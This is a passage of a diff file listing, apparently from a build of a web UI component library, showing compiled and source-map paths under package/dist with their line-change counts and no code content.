  500. package/dist/components/FloatingActionButton/FloatingActionButton.module.cjs.map +1 -1
  501. package/dist/components/FloatingActionButton/FloatingActionButton.module.js.map +1 -1
  502. package/dist/components/For/For.cjs.map +1 -1
  503. package/dist/components/For/For.js.map +1 -1
  504. package/dist/components/Form/Form.cjs.map +1 -1
  505. package/dist/components/Form/Form.js.map +1 -1
  506. package/dist/components/Form/Form.module.cjs.map +1 -1
  507. package/dist/components/Form/Form.module.js.map +1 -1
  508. package/dist/components/HoverCard/HoverCard.cjs.map +1 -1
  509. package/dist/components/HoverCard/HoverCard.js.map +1 -1
  510. package/dist/components/HoverCard/HoverCard.module.cjs.map +1 -1
  511. package/dist/components/HoverCard/HoverCard.module.js.map +1 -1
  512. package/dist/components/Image/Image.cjs.map +1 -1
  513. package/dist/components/Image/Image.js.map +1 -1
  514. package/dist/components/Image/Image.module.cjs.map +1 -1
  515. package/dist/components/Image/Image.module.js.map +1 -1
  516. package/dist/components/ImageCropper/ImageCropper.cjs +1 -1
  517. package/dist/components/ImageCropper/ImageCropper.cjs.map +1 -1
  518. package/dist/components/ImageCropper/ImageCropper.js +4 -8
  519. package/dist/components/ImageCropper/ImageCropper.js.map +1 -1
  520. package/dist/components/ImageCropper/ImageCropper.module.cjs.map +1 -1
  521. package/dist/components/ImageCropper/ImageCropper.module.js.map +1 -1
  522. package/dist/components/ImageCropper/crop-geometry.cjs.map +1 -1
  523. package/dist/components/ImageCropper/crop-geometry.js.map +1 -1
  524. package/dist/components/Input/Input.cjs.map +1 -1
  525. package/dist/components/Input/Input.js.map +1 -1
  526. package/dist/components/Input/Input.module.cjs.map +1 -1
  527. package/dist/components/Input/Input.module.js.map +1 -1
  528. package/dist/components/InstallBanner/InstallBanner.cjs.map +1 -1
  529. package/dist/components/InstallBanner/InstallBanner.js.map +1 -1
  530. package/dist/components/InstallBanner/InstallBanner.module.cjs.map +1 -1
  531. package/dist/components/InstallBanner/InstallBanner.module.js.map +1 -1
  532. package/dist/components/InstallButton/InstallButton.cjs.map +1 -1
  533. package/dist/components/InstallButton/InstallButton.js.map +1 -1
  534. package/dist/components/InstallButton/InstallButton.module.cjs.map +1 -1
  535. package/dist/components/InstallButton/InstallButton.module.js.map +1 -1
  536. package/dist/components/InstallButton/install-hints.cjs.map +1 -1
  537. package/dist/components/InstallButton/install-hints.js.map +1 -1
  538. package/dist/components/Kanban/Kanban.cjs.map +1 -1
  539. package/dist/components/Kanban/Kanban.js.map +1 -1
  540. package/dist/components/Kanban/Kanban.module.cjs.map +1 -1
  541. package/dist/components/Kanban/Kanban.module.js.map +1 -1
  542. package/dist/components/Kbd/Kbd.cjs.map +1 -1
  543. package/dist/components/Kbd/Kbd.js.map +1 -1
  544. package/dist/components/Kbd/Kbd.module.cjs.map +1 -1
  545. package/dist/components/Kbd/Kbd.module.js.map +1 -1
  546. package/dist/components/Label/Label.cjs.map +1 -1
  547. package/dist/components/Label/Label.js.map +1 -1
  548. package/dist/components/Label/Label.module.cjs.map +1 -1
  549. package/dist/components/Label/Label.module.js.map +1 -1
  550. package/dist/components/Layout/Layout.cjs.map +1 -1
  551. package/dist/components/Layout/Layout.js.map +1 -1
  552. package/dist/components/Layout/Layout.module.cjs.map +1 -1
  553. package/dist/components/Layout/Layout.module.js.map +1 -1
  554. package/dist/components/Lightbox/Lightbox.cjs +1 -1
  555. package/dist/components/Lightbox/Lightbox.cjs.map +1 -1
  556. package/dist/components/Lightbox/Lightbox.js +1 -1
  557. package/dist/components/Lightbox/Lightbox.js.map +1 -1
  558. package/dist/components/Lightbox/Lightbox.module.cjs.map +1 -1
  559. package/dist/components/Lightbox/Lightbox.module.js.map +1 -1
  560. package/dist/components/ListTile/ListTile.cjs.map +1 -1
  561. package/dist/components/ListTile/ListTile.js.map +1 -1
  562. package/dist/components/ListTile/ListTile.module.cjs.map +1 -1
  563. package/dist/components/ListTile/ListTile.module.js.map +1 -1
  564. package/dist/components/Markdown/Markdown.cjs.map +1 -1
  565. package/dist/components/Markdown/Markdown.js.map +1 -1
  566. package/dist/components/Markdown/Markdown.module.cjs.map +1 -1
  567. package/dist/components/Markdown/Markdown.module.js.map +1 -1
  568. package/dist/components/Markdown/markdown-parse.cjs +2 -2
  569. package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
  570. package/dist/components/Markdown/markdown-parse.js +8 -27
  571. package/dist/components/Markdown/markdown-parse.js.map +1 -1
  572. package/dist/components/Masonry/Masonry.cjs.map +1 -1
  573. package/dist/components/Masonry/Masonry.js.map +1 -1
  574. package/dist/components/Masonry/Masonry.module.cjs.map +1 -1
  575. package/dist/components/Masonry/Masonry.module.js.map +1 -1
  576. package/dist/components/Masonry/masonry-layout.cjs.map +1 -1
  577. package/dist/components/Masonry/masonry-layout.js.map +1 -1
  578. package/dist/components/Menubar/Menubar.cjs.map +1 -1
  579. package/dist/components/Menubar/Menubar.js.map +1 -1
  580. package/dist/components/Menubar/Menubar.module.cjs.map +1 -1
  581. package/dist/components/Menubar/Menubar.module.js.map +1 -1
  582. package/dist/components/Modal/Modal.cjs.map +1 -1
  583. package/dist/components/Modal/Modal.js.map +1 -1
  584. package/dist/components/Modal/Modal.module.cjs.map +1 -1
  585. package/dist/components/Modal/Modal.module.js.map +1 -1
  586. package/dist/components/ModalsManager/ModalsManager.cjs.map +1 -1
  587. package/dist/components/ModalsManager/ModalsManager.js.map +1 -1
  588. package/dist/components/ModalsManager/ModalsManager.module.cjs.map +1 -1
  589. package/dist/components/ModalsManager/ModalsManager.module.js.map +1 -1
  590. package/dist/components/Money/Money.cjs.map +1 -1
  591. package/dist/components/Money/Money.js.map +1 -1
  592. package/dist/components/MultiSelect/MultiSelect.cjs.map +1 -1
  593. package/dist/components/MultiSelect/MultiSelect.js.map +1 -1
  594. package/dist/components/MultiSelect/MultiSelect.module.cjs.map +1 -1
  595. package/dist/components/MultiSelect/MultiSelect.module.js.map +1 -1
  596. package/dist/components/NProgress/NProgress.cjs.map +1 -1
  597. package/dist/components/NProgress/NProgress.js.map +1 -1
  598. package/dist/components/NProgress/NProgress.module.cjs.map +1 -1
  599. package/dist/components/NProgress/NProgress.module.js.map +1 -1
  600. package/dist/components/Navbar/Navbar.cjs.map +1 -1
  601. package/dist/components/Navbar/Navbar.js.map +1 -1
  602. package/dist/components/Navbar/Navbar.module.cjs.map +1 -1
  603. package/dist/components/Navbar/Navbar.module.js.map +1 -1
  604. package/dist/components/NavigationMenu/NavigationMenu.cjs.map +1 -1
  605. package/dist/components/NavigationMenu/NavigationMenu.js.map +1 -1
  606. package/dist/components/NavigationMenu/NavigationMenu.module.cjs.map +1 -1
  607. package/dist/components/NavigationMenu/NavigationMenu.module.js.map +1 -1
  608. package/dist/components/NavigationRail/NavigationRail.cjs.map +1 -1
  609. package/dist/components/NavigationRail/NavigationRail.js.map +1 -1
  610. package/dist/components/NavigationRail/NavigationRail.module.cjs.map +1 -1
  611. package/dist/components/NavigationRail/NavigationRail.module.js.map +1 -1
  612. package/dist/components/NotificationCenter/NotificationCenter.cjs.map +1 -1
  613. package/dist/components/NotificationCenter/NotificationCenter.js.map +1 -1
  614. package/dist/components/NotificationCenter/NotificationCenter.module.cjs.map +1 -1
  615. package/dist/components/NotificationCenter/NotificationCenter.module.js.map +1 -1
  616. package/dist/components/NotificationCenter/use-notification-inbox.cjs.map +1 -1
  617. package/dist/components/NotificationCenter/use-notification-inbox.js.map +1 -1
  618. package/dist/components/OfflineIndicator/OfflineIndicator.cjs.map +1 -1
  619. package/dist/components/OfflineIndicator/OfflineIndicator.js.map +1 -1
  620. package/dist/components/OfflineIndicator/OfflineIndicator.module.cjs.map +1 -1
  621. package/dist/components/OfflineIndicator/OfflineIndicator.module.js.map +1 -1
  622. package/dist/components/Page/Page.cjs.map +1 -1
  623. package/dist/components/Page/Page.js.map +1 -1
  624. package/dist/components/Page/Page.module.cjs.map +1 -1
  625. package/dist/components/Page/Page.module.js.map +1 -1
  626. package/dist/components/Pagination/Pagination.cjs.map +1 -1
  627. package/dist/components/Pagination/Pagination.js.map +1 -1
  628. package/dist/components/Pagination/Pagination.module.cjs.map +1 -1
  629. package/dist/components/Pagination/Pagination.module.js.map +1 -1
  630. package/dist/components/PasswordInput/PasswordInput.cjs.map +1 -1
  631. package/dist/components/PasswordInput/PasswordInput.js.map +1 -1
  632. package/dist/components/PasswordInput/PasswordInput.module.cjs.map +1 -1
  633. package/dist/components/PasswordInput/PasswordInput.module.js.map +1 -1
  634. package/dist/components/PinInput/PinInput.cjs.map +1 -1
  635. package/dist/components/PinInput/PinInput.js.map +1 -1
  636. package/dist/components/PinInput/PinInput.module.cjs.map +1 -1
  637. package/dist/components/PinInput/PinInput.module.js.map +1 -1
  638. package/dist/components/Popover/Popover.cjs.map +1 -1
  639. package/dist/components/Popover/Popover.js.map +1 -1
  640. package/dist/components/Popover/Popover.module.cjs.map +1 -1
  641. package/dist/components/Popover/Popover.module.js.map +1 -1
  642. package/dist/components/Portal/Portal.cjs.map +1 -1
  643. package/dist/components/Portal/Portal.js.map +1 -1
  644. package/dist/components/Portal/anchor-position.cjs.map +1 -1
  645. package/dist/components/Portal/anchor-position.js.map +1 -1
  646. package/dist/components/Portal/escape-layer.cjs.map +1 -1
  647. package/dist/components/Portal/escape-layer.js.map +1 -1
  648. package/dist/components/Portal/portal-host.cjs.map +1 -1
  649. package/dist/components/Portal/portal-host.js.map +1 -1
  650. package/dist/components/Portal/tab-bridge.cjs +1 -1
  651. package/dist/components/Portal/tab-bridge.cjs.map +1 -1
  652. package/dist/components/Portal/tab-bridge.js +1 -5
  653. package/dist/components/Portal/tab-bridge.js.map +1 -1
  654. package/dist/components/Progress/Progress.cjs.map +1 -1
  655. package/dist/components/Progress/Progress.js.map +1 -1
  656. package/dist/components/Progress/Progress.module.cjs.map +1 -1
  657. package/dist/components/Progress/Progress.module.js.map +1 -1
  658. package/dist/components/QRCode/QRCode.cjs.map +1 -1
  659. package/dist/components/QRCode/QRCode.js.map +1 -1
  660. package/dist/components/QRCode/QRCode.module.cjs.map +1 -1
  661. package/dist/components/QRCode/QRCode.module.js.map +1 -1
  662. package/dist/components/QRCode/qr-encode.cjs +1 -1
  663. package/dist/components/QRCode/qr-encode.cjs.map +1 -1
  664. package/dist/components/QRCode/qr-encode.js +7 -13
  665. package/dist/components/QRCode/qr-encode.js.map +1 -1
  666. package/dist/components/QRCode/qr-tables.cjs.map +1 -1
  667. package/dist/components/QRCode/qr-tables.js.map +1 -1
  668. package/dist/components/Radio/Radio.cjs.map +1 -1
  669. package/dist/components/Radio/Radio.js.map +1 -1
  670. package/dist/components/Radio/Radio.module.cjs.map +1 -1
  671. package/dist/components/Radio/Radio.module.js.map +1 -1
  672. package/dist/components/RangeSlider/RangeSlider.cjs.map +1 -1
  673. package/dist/components/RangeSlider/RangeSlider.js.map +1 -1
  674. package/dist/components/RangeSlider/RangeSlider.module.cjs.map +1 -1
  675. package/dist/components/RangeSlider/RangeSlider.module.js.map +1 -1
  676. package/dist/components/RatingStars/RatingStars.cjs.map +1 -1
  677. package/dist/components/RatingStars/RatingStars.js.map +1 -1
  678. package/dist/components/RatingStars/RatingStars.module.cjs.map +1 -1
  679. package/dist/components/RatingStars/RatingStars.module.js.map +1 -1
  680. package/dist/components/RefreshIndicator/RefreshIndicator.cjs +1 -1
  681. package/dist/components/RefreshIndicator/RefreshIndicator.cjs.map +1 -1
  682. package/dist/components/RefreshIndicator/RefreshIndicator.js +10 -18
  683. package/dist/components/RefreshIndicator/RefreshIndicator.js.map +1 -1
  684. package/dist/components/RefreshIndicator/RefreshIndicator.module.cjs.map +1 -1
  685. package/dist/components/RefreshIndicator/RefreshIndicator.module.js.map +1 -1
  686. package/dist/components/RelativeTime/RelativeTime.cjs.map +1 -1
  687. package/dist/components/RelativeTime/RelativeTime.js.map +1 -1
  688. package/dist/components/Resizable/Resizable.cjs +1 -1
  689. package/dist/components/Resizable/Resizable.cjs.map +1 -1
  690. package/dist/components/Resizable/Resizable.js +1 -9
  691. package/dist/components/Resizable/Resizable.js.map +1 -1
  692. package/dist/components/Resizable/Resizable.module.cjs.map +1 -1
  693. package/dist/components/Resizable/Resizable.module.js.map +1 -1
  694. package/dist/components/Responsive/Responsive.cjs.map +1 -1
  695. package/dist/components/Responsive/Responsive.js.map +1 -1
  696. package/dist/components/Reveal/Reveal.cjs.map +1 -1
  697. package/dist/components/Reveal/Reveal.js.map +1 -1
  698. package/dist/components/Reveal/Reveal.module.cjs.map +1 -1
  699. package/dist/components/Reveal/Reveal.module.js.map +1 -1
  700. package/dist/components/Reveal/reveal-threshold.cjs.map +1 -1
  701. package/dist/components/Reveal/reveal-threshold.js.map +1 -1
  702. package/dist/components/SafeArea/SafeArea.cjs.map +1 -1
  703. package/dist/components/SafeArea/SafeArea.js.map +1 -1
  704. package/dist/components/SafeArea/SafeArea.module.cjs.map +1 -1
  705. package/dist/components/SafeArea/SafeArea.module.js.map +1 -1
  706. package/dist/components/Scheduler/Scheduler.cjs.map +1 -1
  707. package/dist/components/Scheduler/Scheduler.js.map +1 -1
  708. package/dist/components/Scheduler/Scheduler.module.cjs.map +1 -1
  709. package/dist/components/Scheduler/Scheduler.module.js.map +1 -1
  710. package/dist/components/Scheduler/scheduler-layout.cjs.map +1 -1
  711. package/dist/components/Scheduler/scheduler-layout.js.map +1 -1
  712. package/dist/components/ScrollArea/ScrollArea.cjs.map +1 -1
  713. package/dist/components/ScrollArea/ScrollArea.js.map +1 -1
  714. package/dist/components/ScrollArea/ScrollArea.module.cjs.map +1 -1
  715. package/dist/components/ScrollArea/ScrollArea.module.js.map +1 -1
  716. package/dist/components/SearchBar/SearchBar.cjs.map +1 -1
  717. package/dist/components/SearchBar/SearchBar.js.map +1 -1
  718. package/dist/components/SearchBar/SearchBar.module.cjs.map +1 -1
  719. package/dist/components/SearchBar/SearchBar.module.js.map +1 -1
  720. package/dist/components/SectionHeader/SectionHeader.cjs.map +1 -1
  721. package/dist/components/SectionHeader/SectionHeader.js.map +1 -1
  722. package/dist/components/SectionHeader/SectionHeader.module.cjs.map +1 -1
  723. package/dist/components/SectionHeader/SectionHeader.module.js.map +1 -1
  724. package/dist/components/SegmentedControl/SegmentedControl.cjs.map +1 -1
  725. package/dist/components/SegmentedControl/SegmentedControl.js.map +1 -1
  726. package/dist/components/SegmentedControl/SegmentedControl.module.cjs.map +1 -1
  727. package/dist/components/SegmentedControl/SegmentedControl.module.js.map +1 -1
  728. package/dist/components/Select/CaretIcon.cjs.map +1 -1
  729. package/dist/components/Select/CaretIcon.js.map +1 -1
  730. package/dist/components/Select/Select.cjs.map +1 -1
  731. package/dist/components/Select/Select.js.map +1 -1
  732. package/dist/components/Select/Select.module.cjs.map +1 -1
  733. package/dist/components/Select/Select.module.js.map +1 -1
  734. package/dist/components/Select/options.cjs.map +1 -1
  735. package/dist/components/Select/options.js.map +1 -1
  736. package/dist/components/Sidebar/Sidebar.cjs +1 -1
  737. package/dist/components/Sidebar/Sidebar.cjs.map +1 -1
  738. package/dist/components/Sidebar/Sidebar.js +13 -23
  739. package/dist/components/Sidebar/Sidebar.js.map +1 -1
  740. package/dist/components/Sidebar/Sidebar.module.cjs.map +1 -1
  741. package/dist/components/Sidebar/Sidebar.module.js.map +1 -1
  742. package/dist/components/Sidebar/SidebarEntry.cjs.map +1 -1
  743. package/dist/components/Sidebar/SidebarEntry.js.map +1 -1
  744. package/dist/components/Sidebar/active-nav-key.cjs.map +1 -1
  745. package/dist/components/Sidebar/active-nav-key.js.map +1 -1
  746. package/dist/components/SignaturePad/SignaturePad.cjs +1 -1
  747. package/dist/components/SignaturePad/SignaturePad.cjs.map +1 -1
  748. package/dist/components/SignaturePad/SignaturePad.js +1 -5
  749. package/dist/components/SignaturePad/SignaturePad.js.map +1 -1
  750. package/dist/components/SignaturePad/SignaturePad.module.cjs.map +1 -1
  751. package/dist/components/SignaturePad/SignaturePad.module.js.map +1 -1
  752. package/dist/components/Skeleton/Skeleton.cjs.map +1 -1
  753. package/dist/components/Skeleton/Skeleton.js.map +1 -1
  754. package/dist/components/Skeleton/Skeleton.module.cjs.map +1 -1
  755. package/dist/components/Skeleton/Skeleton.module.js.map +1 -1
  756. package/dist/components/Slider/Slider.cjs.map +1 -1
  757. package/dist/components/Slider/Slider.js.map +1 -1
  758. package/dist/components/Slider/Slider.module.cjs.map +1 -1
  759. package/dist/components/Slider/Slider.module.js.map +1 -1
  760. package/dist/components/Spacer/Spacer.cjs.map +1 -1
  761. package/dist/components/Spacer/Spacer.js.map +1 -1
  762. package/dist/components/Spacer/Spacer.module.cjs.map +1 -1
  763. package/dist/components/Spacer/Spacer.module.js.map +1 -1
  764. package/dist/components/Sparkline/Sparkline.cjs.map +1 -1
  765. package/dist/components/Sparkline/Sparkline.js.map +1 -1
  766. package/dist/components/Sparkline/Sparkline.module.cjs.map +1 -1
  767. package/dist/components/Sparkline/Sparkline.module.js.map +1 -1
  768. package/dist/components/Sparkline/sparkline-geometry.cjs.map +1 -1
  769. package/dist/components/Sparkline/sparkline-geometry.js.map +1 -1
  770. package/dist/components/Spinner/Spinner.cjs.map +1 -1
  771. package/dist/components/Spinner/Spinner.js.map +1 -1
  772. package/dist/components/Spinner/Spinner.module.cjs.map +1 -1
  773. package/dist/components/Spinner/Spinner.module.js.map +1 -1
  774. package/dist/components/Stat/Stat.cjs.map +1 -1
  775. package/dist/components/Stat/Stat.js.map +1 -1
  776. package/dist/components/Stat/Stat.module.cjs.map +1 -1
  777. package/dist/components/Stat/Stat.module.js.map +1 -1
  778. package/dist/components/Stepper/Stepper.cjs.map +1 -1
  779. package/dist/components/Stepper/Stepper.js.map +1 -1
  780. package/dist/components/Stepper/Stepper.module.cjs.map +1 -1
  781. package/dist/components/Stepper/Stepper.module.js.map +1 -1
  782. package/dist/components/StepperInput/StepperInput.cjs.map +1 -1
  783. package/dist/components/StepperInput/StepperInput.js.map +1 -1
  784. package/dist/components/StepperInput/StepperInput.module.cjs.map +1 -1
  785. package/dist/components/StepperInput/StepperInput.module.js.map +1 -1
  786. package/dist/components/Switch/Switch.cjs.map +1 -1
  787. package/dist/components/Switch/Switch.js.map +1 -1
  788. package/dist/components/Switch/Switch.module.cjs.map +1 -1
  789. package/dist/components/Switch/Switch.module.js.map +1 -1
  790. package/dist/components/SyncStatusBadge/SyncStatusBadge.cjs.map +1 -1
  791. package/dist/components/SyncStatusBadge/SyncStatusBadge.js.map +1 -1
  792. package/dist/components/SyncStatusBadge/SyncStatusBadge.module.cjs.map +1 -1
  793. package/dist/components/SyncStatusBadge/SyncStatusBadge.module.js.map +1 -1
  794. package/dist/components/Table/Table.cjs.map +1 -1
  795. package/dist/components/Table/Table.js.map +1 -1
  796. package/dist/components/Table/Table.module.cjs.map +1 -1
  797. package/dist/components/Table/Table.module.js.map +1 -1
  798. package/dist/components/Tabs/Tabs.cjs.map +1 -1
  799. package/dist/components/Tabs/Tabs.js.map +1 -1
  800. package/dist/components/Tabs/Tabs.module.cjs.map +1 -1
  801. package/dist/components/Tabs/Tabs.module.js.map +1 -1
  802. package/dist/components/Tag/Tag.cjs.map +1 -1
  803. package/dist/components/Tag/Tag.js.map +1 -1
  804. package/dist/components/Tag/Tag.module.cjs.map +1 -1
  805. package/dist/components/Tag/Tag.module.js.map +1 -1
  806. package/dist/components/Textarea/Textarea.cjs.map +1 -1
  807. package/dist/components/Textarea/Textarea.js.map +1 -1
  808. package/dist/components/Textarea/Textarea.module.cjs.map +1 -1
  809. package/dist/components/Textarea/Textarea.module.js.map +1 -1
  810. package/dist/components/TimePicker/TimePicker.cjs.map +1 -1
  811. package/dist/components/TimePicker/TimePicker.js.map +1 -1
  812. package/dist/components/TimePicker/TimePicker.module.cjs.map +1 -1
  813. package/dist/components/TimePicker/TimePicker.module.js.map +1 -1
  814. package/dist/components/Timeline/Timeline.cjs.map +1 -1
  815. package/dist/components/Timeline/Timeline.js.map +1 -1
  816. package/dist/components/Timeline/Timeline.module.cjs.map +1 -1
  817. package/dist/components/Timeline/Timeline.module.js.map +1 -1
  818. package/dist/components/Toast/Toast.module.cjs.map +1 -1
  819. package/dist/components/Toast/Toast.module.js.map +1 -1
  820. package/dist/components/Toast/ToastProvider.cjs.map +1 -1
  821. package/dist/components/Toast/ToastProvider.js.map +1 -1
  822. package/dist/components/Toggle/Toggle.cjs.map +1 -1
  823. package/dist/components/Toggle/Toggle.js.map +1 -1
  824. package/dist/components/Toggle/Toggle.module.cjs.map +1 -1
  825. package/dist/components/Toggle/Toggle.module.js.map +1 -1
  826. package/dist/components/ToggleGroup/ToggleGroup.cjs.map +1 -1
  827. package/dist/components/ToggleGroup/ToggleGroup.js.map +1 -1
  828. package/dist/components/ToggleGroup/ToggleGroup.module.cjs.map +1 -1
  829. package/dist/components/ToggleGroup/ToggleGroup.module.js.map +1 -1
  830. package/dist/components/Tooltip/Tooltip.cjs.map +1 -1
  831. package/dist/components/Tooltip/Tooltip.js.map +1 -1
  832. package/dist/components/Tooltip/Tooltip.module.cjs.map +1 -1
  833. package/dist/components/Tooltip/Tooltip.module.js.map +1 -1
  834. package/dist/components/Tour/Tour.cjs +1 -1
  835. package/dist/components/Tour/Tour.cjs.map +1 -1
  836. package/dist/components/Tour/Tour.js +1 -5
  837. package/dist/components/Tour/Tour.js.map +1 -1
  838. package/dist/components/Tour/Tour.module.cjs.map +1 -1
  839. package/dist/components/Tour/Tour.module.js.map +1 -1
  840. package/dist/components/Tour/tour-position.cjs.map +1 -1
  841. package/dist/components/Tour/tour-position.js.map +1 -1
  842. package/dist/components/Transfer/Transfer.cjs.map +1 -1
  843. package/dist/components/Transfer/Transfer.js.map +1 -1
  844. package/dist/components/Transfer/Transfer.module.cjs.map +1 -1
  845. package/dist/components/Transfer/Transfer.module.js.map +1 -1
  846. package/dist/components/Transfer/transfer-state.cjs.map +1 -1
  847. package/dist/components/Transfer/transfer-state.js.map +1 -1
  848. package/dist/components/TreeView/TreeView.cjs.map +1 -1
  849. package/dist/components/TreeView/TreeView.js.map +1 -1
  850. package/dist/components/TreeView/TreeView.module.cjs.map +1 -1
  851. package/dist/components/TreeView/TreeView.module.js.map +1 -1
  852. package/dist/components/TruncateText/TruncateText.cjs.map +1 -1
  853. package/dist/components/TruncateText/TruncateText.js.map +1 -1
  854. package/dist/components/TruncateText/TruncateText.module.cjs.map +1 -1
  855. package/dist/components/TruncateText/TruncateText.module.js.map +1 -1
  856. package/dist/components/UpdatePrompt/UpdatePrompt.cjs.map +1 -1
  857. package/dist/components/UpdatePrompt/UpdatePrompt.js.map +1 -1
  858. package/dist/components/UpdatePrompt/UpdatePrompt.module.cjs.map +1 -1
  859. package/dist/components/UpdatePrompt/UpdatePrompt.module.js.map +1 -1
  860. package/dist/components/VideoPlayer/VideoPlayer.cjs +1 -1
  861. package/dist/components/VideoPlayer/VideoPlayer.cjs.map +1 -1
  862. package/dist/components/VideoPlayer/VideoPlayer.js +1 -7
  863. package/dist/components/VideoPlayer/VideoPlayer.js.map +1 -1
  864. package/dist/components/VideoPlayer/VideoPlayer.module.cjs.map +1 -1
  865. package/dist/components/VideoPlayer/VideoPlayer.module.js.map +1 -1
  866. package/dist/components/VideoPlayer/playback-rates.cjs.map +1 -1
  867. package/dist/components/VideoPlayer/playback-rates.js.map +1 -1
  868. package/dist/components/VirtualList/VirtualList.cjs.map +1 -1
  869. package/dist/components/VirtualList/VirtualList.js.map +1 -1
  870. package/dist/components/VirtualList/VirtualList.module.cjs.map +1 -1
  871. package/dist/components/VirtualList/VirtualList.module.js.map +1 -1
  872. package/dist/components/VirtualTable/VirtualTable.cjs.map +1 -1
  873. package/dist/components/VirtualTable/VirtualTable.js.map +1 -1
  874. package/dist/components/VirtualTable/VirtualTable.module.cjs.map +1 -1
  875. package/dist/components/VirtualTable/VirtualTable.module.js.map +1 -1
  876. package/dist/components/VisuallyHidden/VisuallyHidden.cjs.map +1 -1
  877. package/dist/components/VisuallyHidden/VisuallyHidden.js.map +1 -1
  878. package/dist/components/VisuallyHidden/VisuallyHidden.module.cjs.map +1 -1
  879. package/dist/components/VisuallyHidden/VisuallyHidden.module.js.map +1 -1
  880. package/dist/components/Wizard/Wizard.cjs +1 -1
  881. package/dist/components/Wizard/Wizard.cjs.map +1 -1
  882. package/dist/components/Wizard/Wizard.js +4 -11
  883. package/dist/components/Wizard/Wizard.js.map +1 -1
  884. package/dist/components/Wizard/Wizard.module.cjs.map +1 -1
  885. package/dist/components/Wizard/Wizard.module.js.map +1 -1
  886. package/dist/data/create-data-provider.cjs.map +1 -1
  887. package/dist/data/create-data-provider.js.map +1 -1
  888. package/dist/data/data-provider-context.cjs.map +1 -1
  889. package/dist/data/data-provider-context.js.map +1 -1
  890. package/dist/data/use-resource.cjs.map +1 -1
  891. package/dist/data/use-resource.js.map +1 -1
  892. package/dist/editor/RichTextEditor.cjs.map +1 -1
  893. package/dist/editor/RichTextEditor.js.map +1 -1
  894. package/dist/editor/RichTextEditor.module.cjs.map +1 -1
  895. package/dist/editor/RichTextEditor.module.js.map +1 -1
  896. package/dist/editor.js +1 -2
  897. package/dist/error-boundary/ErrorBoundary.cjs.map +1 -1
  898. package/dist/error-boundary/ErrorBoundary.js.map +1 -1
  899. package/dist/error-boundary/use-error-handler.cjs.map +1 -1
  900. package/dist/error-boundary/use-error-handler.js.map +1 -1
  901. package/dist/feature-flags/FeatureFlagsProvider.cjs.map +1 -1
  902. package/dist/feature-flags/FeatureFlagsProvider.js.map +1 -1
  903. package/dist/feature-flags/growthbook-adapter.cjs.map +1 -1
  904. package/dist/feature-flags/growthbook-adapter.js.map +1 -1
  905. package/dist/feature-flags/in-memory-adapter.cjs.map +1 -1
  906. package/dist/feature-flags/in-memory-adapter.js.map +1 -1
  907. package/dist/feature-flags/launchdarkly-adapter.cjs.map +1 -1
  908. package/dist/feature-flags/launchdarkly-adapter.js.map +1 -1
  909. package/dist/forms/FormField.cjs.map +1 -1
  910. package/dist/forms/FormField.js.map +1 -1
  911. package/dist/forms/br-validators.cjs.map +1 -1
  912. package/dist/forms/br-validators.js.map +1 -1
  913. package/dist/forms/masked-inputs.cjs.map +1 -1
  914. package/dist/forms/masked-inputs.js.map +1 -1
  915. package/dist/forms/use-viacep.cjs.map +1 -1
  916. package/dist/forms/use-viacep.js.map +1 -1
  917. package/dist/forms/use-zod-form.cjs.map +1 -1
  918. package/dist/forms/use-zod-form.js.map +1 -1
  919. package/dist/forms/validate-form.cjs.map +1 -1
  920. package/dist/forms/validate-form.js.map +1 -1
  921. package/dist/forms/zod-resolver.cjs.map +1 -1
  922. package/dist/forms/zod-resolver.js.map +1 -1
  923. package/dist/geo/TrajectoryMap.cjs.map +1 -1
  924. package/dist/geo/TrajectoryMap.js.map +1 -1
  925. package/dist/geo/TrajectoryMap.module.cjs.map +1 -1
  926. package/dist/geo/TrajectoryMap.module.js.map +1 -1
  927. package/dist/geo/bounds.cjs.map +1 -1
  928. package/dist/geo/bounds.js.map +1 -1
  929. package/dist/geo/create-position-tracker.cjs +1 -1
  930. package/dist/geo/create-position-tracker.cjs.map +1 -1
  931. package/dist/geo/create-position-tracker.js +1 -7
  932. package/dist/geo/create-position-tracker.js.map +1 -1
  933. package/dist/geo/distance.cjs.map +1 -1
  934. package/dist/geo/distance.js.map +1 -1
  935. package/dist/geo/estimate.cjs.map +1 -1
  936. package/dist/geo/estimate.js.map +1 -1
  937. package/dist/geo/leaflet-map.cjs.map +1 -1
  938. package/dist/geo/leaflet-map.js.map +1 -1
  939. package/dist/geo/projection.cjs.map +1 -1
  940. package/dist/geo/projection.js.map +1 -1
  941. package/dist/geo/routing.cjs.map +1 -1
  942. package/dist/geo/routing.js.map +1 -1
  943. package/dist/geo/types.cjs.map +1 -1
  944. package/dist/geo/types.js.map +1 -1
  945. package/dist/geo/use-position-tracker.cjs.map +1 -1
  946. package/dist/geo/use-position-tracker.js.map +1 -1
  947. package/dist/hooks/pwa-env.cjs.map +1 -1
  948. package/dist/hooks/pwa-env.js.map +1 -1
  949. package/dist/hooks/tab-sequence.cjs.map +1 -1
  950. package/dist/hooks/tab-sequence.js.map +1 -1
  951. package/dist/hooks/use-announce.cjs +1 -1
  952. package/dist/hooks/use-announce.cjs.map +1 -1
  953. package/dist/hooks/use-announce.js +2 -2
  954. package/dist/hooks/use-announce.js.map +1 -1
  955. package/dist/hooks/use-async.cjs.map +1 -1
  956. package/dist/hooks/use-async.js.map +1 -1
  957. package/dist/hooks/use-before-install-prompt.cjs.map +1 -1
  958. package/dist/hooks/use-before-install-prompt.js.map +1 -1
  959. package/dist/hooks/use-breakpoint.cjs.map +1 -1
  960. package/dist/hooks/use-breakpoint.js.map +1 -1
  961. package/dist/hooks/use-click-outside.cjs.map +1 -1
  962. package/dist/hooks/use-click-outside.js.map +1 -1
  963. package/dist/hooks/use-client-filter.cjs.map +1 -1
  964. package/dist/hooks/use-client-filter.js.map +1 -1
  965. package/dist/hooks/use-clipboard.cjs.map +1 -1
  966. package/dist/hooks/use-clipboard.js.map +1 -1
  967. package/dist/hooks/use-countdown.cjs.map +1 -1
  968. package/dist/hooks/use-countdown.js.map +1 -1
  969. package/dist/hooks/use-counter.cjs.map +1 -1
  970. package/dist/hooks/use-counter.js.map +1 -1
  971. package/dist/hooks/use-debounce.cjs.map +1 -1
  972. package/dist/hooks/use-debounce.js.map +1 -1
  973. package/dist/hooks/use-deep-memo.cjs.map +1 -1
  974. package/dist/hooks/use-deep-memo.js.map +1 -1
  975. package/dist/hooks/use-disclosure.cjs.map +1 -1
  976. package/dist/hooks/use-disclosure.js.map +1 -1
  977. package/dist/hooks/use-document-title.cjs.map +1 -1
  978. package/dist/hooks/use-document-title.js.map +1 -1
